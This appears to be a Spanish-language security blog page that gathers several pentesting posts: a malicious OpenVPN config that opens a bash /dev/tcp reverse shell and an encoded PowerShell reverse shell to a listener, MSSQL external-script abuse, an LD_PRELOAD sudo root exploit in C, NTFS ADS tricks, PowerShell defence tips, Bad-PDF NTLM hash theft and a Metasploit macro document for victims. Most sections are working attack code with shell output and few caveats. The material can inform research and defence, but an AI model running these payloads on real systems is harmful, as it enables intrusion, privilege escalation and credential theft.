Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash facilita este ataque en distribuciones de Linux como Ubuntu. Sin embargo, Windows no tiene una función /dev/tcp análoga. Tendremos que trabajar un poco más para generar una shell reversa desde un equipo con Windows.

Afortunadamente, Dave Kennedy de TrustedSec escribió una pequeña shell reversa en powershell que podemos usar. Utilizando el parámetro -EncodedCommand de powershell.exe podemos pasar todo el script en la línea de comandos. Aunque primero necesitaremos encodearlo en base64 para evitar tener que insertar escapes. Con el script ps_encoder.py de Carlos Pérez podemos hacerlo rápidamente.

Pero también hay otro problema: el script de la shell reversa codificado tiene más de 4000 caracteres de longitud y OpenVPN tiene una limitación de 256 caracteres. Para evitar esto, podemos usar el comando setenv para dividir el script y luego recombinarlo en el comando up. Echa un vistazo al siguiente archivo .ovpn:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’

Como veis el script codificado se ha dividido en varios comandos setenv. Al final, el script simplemente ejecuta todas las variables juntas.

Al igual que en el ejemplo de Linux, el log mostrará un aviso sobre -script-security cuando se inicie por primera vez la GUI de OpenVPN:


Una vez más, incluso si el usuario se llega a dar cuenta, podría ser demasiado tarde:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>

Algunos clientes compatibles con OpenVPN como Viscosity y la GUI de Network Manager de Ubuntu desactivan este comportamiento, pero en conclusión, volvemos a incidir en que usar archivos ovpn no confiables es peligroso. Un usuario podría estar permitiendo que un atacante ejecute comandos arbitrarios en su PC, así que antes de levantar un túnel OVPN con un fichero de configuración que nos han pasado conviene revisarlo...

Ejecución de scripts R y Python en MSSQL

El componente de Machine Learning Services de SQL Server agrega análisis predictivos en la base de datos (in-database), análisis estadísticos, visualización y algoritmos de aprendizaje automático. Las librerías están disponibles en R y Python para SQL Server 2017 y en R para SQL Server 2016 y se ejecutan como script externo en una instancia de motor de base de datos.


Eso sí, para poder ejecutar scripts externos esta característica ha de haber sido activada previamente por el administrador:
EXEC sp_configure  'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE

Luego, lo normal es que se den permisos de ejecución de scripts R o Python a usuarios sin permisos elevados. En ese caso se debe otorgar a los usuarios de Machine Learning Services el permiso para ejecutar scripts externos:
USE [database_name]
GO
GRANT EXECUTE ANY EXTERNAL SCRIPT  TO [UserName]


Eso añade más posibilidades a la hora de ejecutar scripts, a parte del clásico xp_cmdshell (EXEC xp_cmdshell 'C:/.../python.exe C:\...\script.py'; GO), algo que podría ser útil para una post-explotación y/o movimiento lateral. Así que si hemos conseguido acceso a una base de datos lo primero que debemos hacer es comprobar si se permite o no la ejecución de scripts externos:
EXEC sp_configure  'external scripts enabled'

En caso afirmativo run_value debería ser "1". Y para estar totalmente seguro, podemos ejecutar las siguientes queries:

Para R
EXEC sp_execute_external_script  @language =N'R',
@script=N'
OutputDataSet <- br="" inputdataset="">',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

Para Python
EXEC sp_execute_external_script  @language =N'Python',
@script=N'
OutputDataSet = InputDataSet;
',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

El script puede tardar un poco en ejecutarse si es la primera vez que se carga el runtime del script externo. El resultado debería ser algo como esto:
Hello
1

A partir de ahí comienza la diversión..
 

Escalado de privilegios en Linux usando LD_PRELOAD

Las librerías compartidas (shared libraries en inglés) en Linux/Unix normalmente tienen el prefijo lib y la extensión .so. Los programas ld.so y ld-linux.so * encuentran y cargan los objetos compartidos (librerías compartidas) que necesita un programa, preparan el programa para ejecutarlo y luego lo ejecutan.
LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload. Hoy vamos a ver cómo aprovechar esta característica común para escalar privilegios.

Primero el usuario loggeado debe tener algunos derechos de sudo, por lo tanto, para nuestro laboratorio daremos por ejemplo permisos de sudo al usuario sobre /usr/bin/find.
Por otro lado, muchas veces necesitamos que el programa que ejecutamos con sudo "sepa" donde buscar las librerías compartidas para funcionar. Para preservar las variables de entorno necesarias utilizaremos la variable env_keep. El fichero /etc/sudoers quedará de la siguiente forma:


Ya sabéis que para explotar ese tipo de vulnerabilidad, debemos comprometer la máquina de la víctima primero y luego pasar a la fase de escalada de privilegios. Supongamos que se inicia sesión a través de ssh y ejecutamos el comando sudo -l:


Con sólo eso ya sabemos "por dónde van los tiros". Ahora vamos a generar un pequeño programa en C llamado shell.c dentro del directorio /tmp (en el que normalmente tendremos permisos de escritura):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Después lo compilaremos para generar una librería compartida con la extensión .so:
$ cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

vmotos@victim:/tmp$ ls -al shell.so
-rwxrwxr-x 1 vmotos vmotos 6456 jun 17 23:44 shell.so

Ahora ejecutaremos la "magia" con sudo:
vmotos@victim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so find

# id
uid=0(root) gid=0(root) grupos=0(root)

# whoami
root

¡Y ya somos root!

Recopilatorio de trucos en NTFS para pentesters

En un artículo impresionante René Freingruber (@ReneFreingruber) de SEC Consult Vulnerability Lab nos hablaba de diferentes técnicas o trucos sobre el sistema de archivos NTFS en Windows que fueron recopilados durante años. Algunas de las técnicas enumeradas ya fueron documentadas por James Forshaw (@tiraniddo) y Alex Inführ (@insertScript). No os los perdáis porque son muy interesantes y pueden resultar tremendamente útiles:

1.- Crear directorios sin tener permisos (CVE-2018-1036/NTFS EoP)

En Windows se pueden asignar "permisos especiales" a directorios para que un usuario pueda crear archivos dentro, pero no subdirectorios.
Un ejemplo es la carpeta C:\Windows\Tasks\:


Además, es posible que un administrador o un programa configure dichos permisos y asuma que los usuarios realmente no pueden crear carpetas en él.

Sin embargo, esta ACL puede saltarse fácilmente en el momento en que un usuario pueda crear archivos. Solo hay que agregar "::$INDEX_ALLOCATION" al final de un nombre de archivo y se creará una carpeta en lugar de un archivo:


Como podéis ver se pudo crear un directorio y el usuario puede crear archivos o carpetas arbitrariamente en este directorio (lo que puede derivar en escalada de privilegios si un administrador o programa supone que no es posible debido a los permisos que faltan).

También, el truco ::$INDEX_ALLOCATION se puede usar para eliminar directorios si una aplicación solo permite eliminar archivos.

2.- Evadir las restricciones de rutas con ADS (Alternate Data Streams)

Quizás te preguntes por qué funcionó la técnica anterior. Básicamente, los archivos en un volumen NTFS se almacenan de la siguiente forma:

<filename>:<stream-name>:<type>

Si creamos un archivo llamado test.txt, se almacenará internamente como test.txt ::$DATA porque el nombre del stream está vacío y $DATA es el tipo predeterminado. El primer truco abusa del hecho de que el tipo de stream puede cambiarse a INDEX_ALLOCATION que corresponde a un directorio y, por lo tanto, crea un directorio.

Defensa contra ataques PowerShell

Que la industria de la seguridad está repleta de noticias sobre cómo se está utilizando PowerShell tanto por malware como por atacantes no es un secreto. Por eso defenderse de estos ataques es capital, o al menos debe serlo, para la mayoría de las organizaciones. Hoy leía un artículo en el blog de Microsoft en el que la comunidad de PowerShell.org resaltaba algunas recomendaciones interesantes:

- Implementar PowerShell v5, integrado en Windows 10. De forma alternativa se puede implementar Windows Management Framework, disponible hasta en Windows 7 y Windows Server 2008r2.
- Habilitar y recopilar logs de PowerShell, incluyendo opcionalmente el Registro de eventos protegidos. Incorporar estos logs en los flujos de trabajo de firmas, búsqueda y respuesta a incidentes.
- Implementar la administración "Just Enough" en los sistemas más importantes para eliminar o reducir el acceso administrativo sin restricciones a esos sistemas.
- Implementar políticas de Device Guard/Application Control para permitir que las tareas administrativas preaprobadas puedan utilizar toda la capacidad del lenguaje PowerShell, a la vez que se limita su uso al resto.
- Instalar Windows 10 para brindar al proveedor de antivirus acceso completo a todo el contenido (incluido el contenido generado o no ofuscado en tiempo de ejecución) procesado por Windows Scripting Hosts, incluido PowerShell.

Más o menos estos pasos y soluciones están bastante detallados en la presentación que hizo Lee Holmes en el último Global Summit de Powershell + DevOps: "Defendiendo contra los ataques de PowerShell", sin duda un video bastante académico y entretenido para noches de insomnio ;) :


Diapositivas usadas en este vídeo: Defending-Against-PowerShell-Attacks.
Más detalles sobre las funciones de seguridad de PowerShell: PowerShell ♥ the Blue Team.
Para obtener más información sobre la implementación de Just Enough: http://aka.ms/jeadocs.

PDF malicioso para robar hashes NTLM

Si ayer veíamos cómo generar documentos .odt maliciosos de Openoffice hoy veremos como generar PDFs capaces de robar hashes NTLM (NTLMv1 / NTLMv2) de las máquinas Windows de las incautas víctimas.

La técnica utilizada es la que descubrió Assaf Baharav, un investigador de Check Point: "La especificación PDF permite cargar contenido remoto para las entradas GoToE & GoToR".
Cuando alguien abre este archivo, el documento PDF automáticamente realiza una solicitud a un servidor SMB malicioso remoto. Por diseño, todas las solicitudes SMB también incluyen el hash NTLM con fines de autenticación así que este hash NTLM se registrará en el servidor SMB. Y ya sabéis que hay herramientas disponibles que pueden romper este hash y recuperar la contraseña original (o utilizar directamente Pass-the-hash?).

Este tipo de ataque no es nuevo, en absoluto, y en el pasado, se ha ejecutado al iniciar solicitudes SMB desde documentos de Office, Outlook, navegadores, archivos de acceso directo de Windows, carpetas compartidas y otras funciones internas del sistema operativo Windows. Así que faltaban, cómo no, los documentos PDFs.

Assaf comprobó la vulnerabilidad en los principales lectores PDF FoxIT y Acrobat Reader y Adobe ya ha publicado el parche APSB18-09 en sus últimas versiones. Por otro lado Microsoft lanzó ADV170014 para proporcionar un mecanismo técnico e instrucciones sobre cómo los usuarios podrían deshabilitar la autenticación NTLM SSO en sistemas operativos Windows, con la esperanza de detener el robo de hashes NTLM a través de solicitudes SMB realizadas a servidores ubicados fuera de la red local.

En cualquier caso si nos encontramos con un sistema sin actualizar tenemos la herramienta Bad-Pdf del saudí Deepu TV (DeepZec) que levanta un listener de Responder para capturar los hashes.

Para ejecutarlo en Kali Linux simplemente tenemos que hacer:

git clone https://github.com/deepzec/Bad-Pdf.git
cd badpdf
python badpdf.py



A continuación veremos el Responder esperando los hashes:


Ejecución del archivo Bad-PDF generado en una máquina Windows y obtención del hash NTLM: :)


Yara Rule:

https://github.com/InQuest/yara-rules/blob/master/NTLM_Credentials_Theft_via_PDF_Files.rule

Técnica ref.:

https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/

Fuente:

https://github.com/deepzec/Bad-Pdf

Shell mediante un documento .odt malicioso (Squiblydoo)

El correo corporativo sigue siendo un vector de entrada interesante para realizar una intrusión, sobretodo en ejercicios de red team, spear phishing y, cómo no, también en escenarios reales.
Con el paso de los años se ha ido mejorado la seguridad de las pasarelas de mensajería y de los endpoints, pero hoy en día siguen surgiendo nuevas técnicas capaces de evadir muchas de estas protecciones.

En esta entrada vamos a ver un par de claros ejemplos que os harán pensar en la (todavía) peligrosidad de abrir un fichero adjunto, sobretodo si se trata de un remitente desconocido porque en ese momento carecíamos de sentido común o porque hemos sido engañados por el sublime subterfugio digital.

Metasploit

Empecemos con el módulo exploit/multi/misc/openoffice_document_macro de Metasploit, que genera un documento de texto de Apache OpenOffice (.odt) con una macro maliciosa.
Para ejecutarlo con éxito, la víctima debe ajustar el nivel de seguridad de las Macros a nivel medio o bajo. Si se establece en medio, se le mostrar a un usuario un mensaje de que si quiere habilitar o no las macros.

Para generar el documento malicioso solo tentemos que configurar unas pocas opciones:
msf5 exploit(multi/misc/openoffice_document_macro) > show options

Module options (exploit/multi/misc/openoffice_document_macro):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   BODY                       no        The message for the document body
   FILENAME  msf.odt          yes       The OpoenOffice Text document name
   SRVHOST   192.168.1.50     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.50     yes       The listen address
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache OpenOffice on Windows (PSH)

msf5 exploit(multi/misc/openoffice_document_macro) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.50:443
msf5 exploit(multi/misc/openoffice_document_macro) > [*] Using URL: http://192.168.1.50:8080/0IYALAH
[*] Server started.
[*] Generating our odt file for Apache OpenOffice on Windows (PSH)...
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Thumbnails
[*] Packaging file: Thumbnails/thumbnail.png
[*] Packaging file: manifest.rdf
[*] Packaging file: styles.xml
[*] Packaging file: settings.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic
[*] Packaging file: Basic/script-lc.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic/Standard
[*] Packaging file: Basic/Standard/script-lb.xml
[*] Packaging file: Basic/Standard/Module1.xml
[*] Packaging file: content.xml
[*] Packaging file: meta.xml
[*] Packaging file: mimetype
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/META-INF
[*] Packaging file: META-INF/manifest.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2/accelerator
[*] Packaging file: Configurations2/accelerator/current.xml
[+] msf.odt stored at /home/vmotos/.msf4/local/msf.odt

Vale, como veis el documento mdf.odt se ha guardado en la ruta indicada. Se lo enviamos a la incauta víctimas y si permiten ejecutar macros...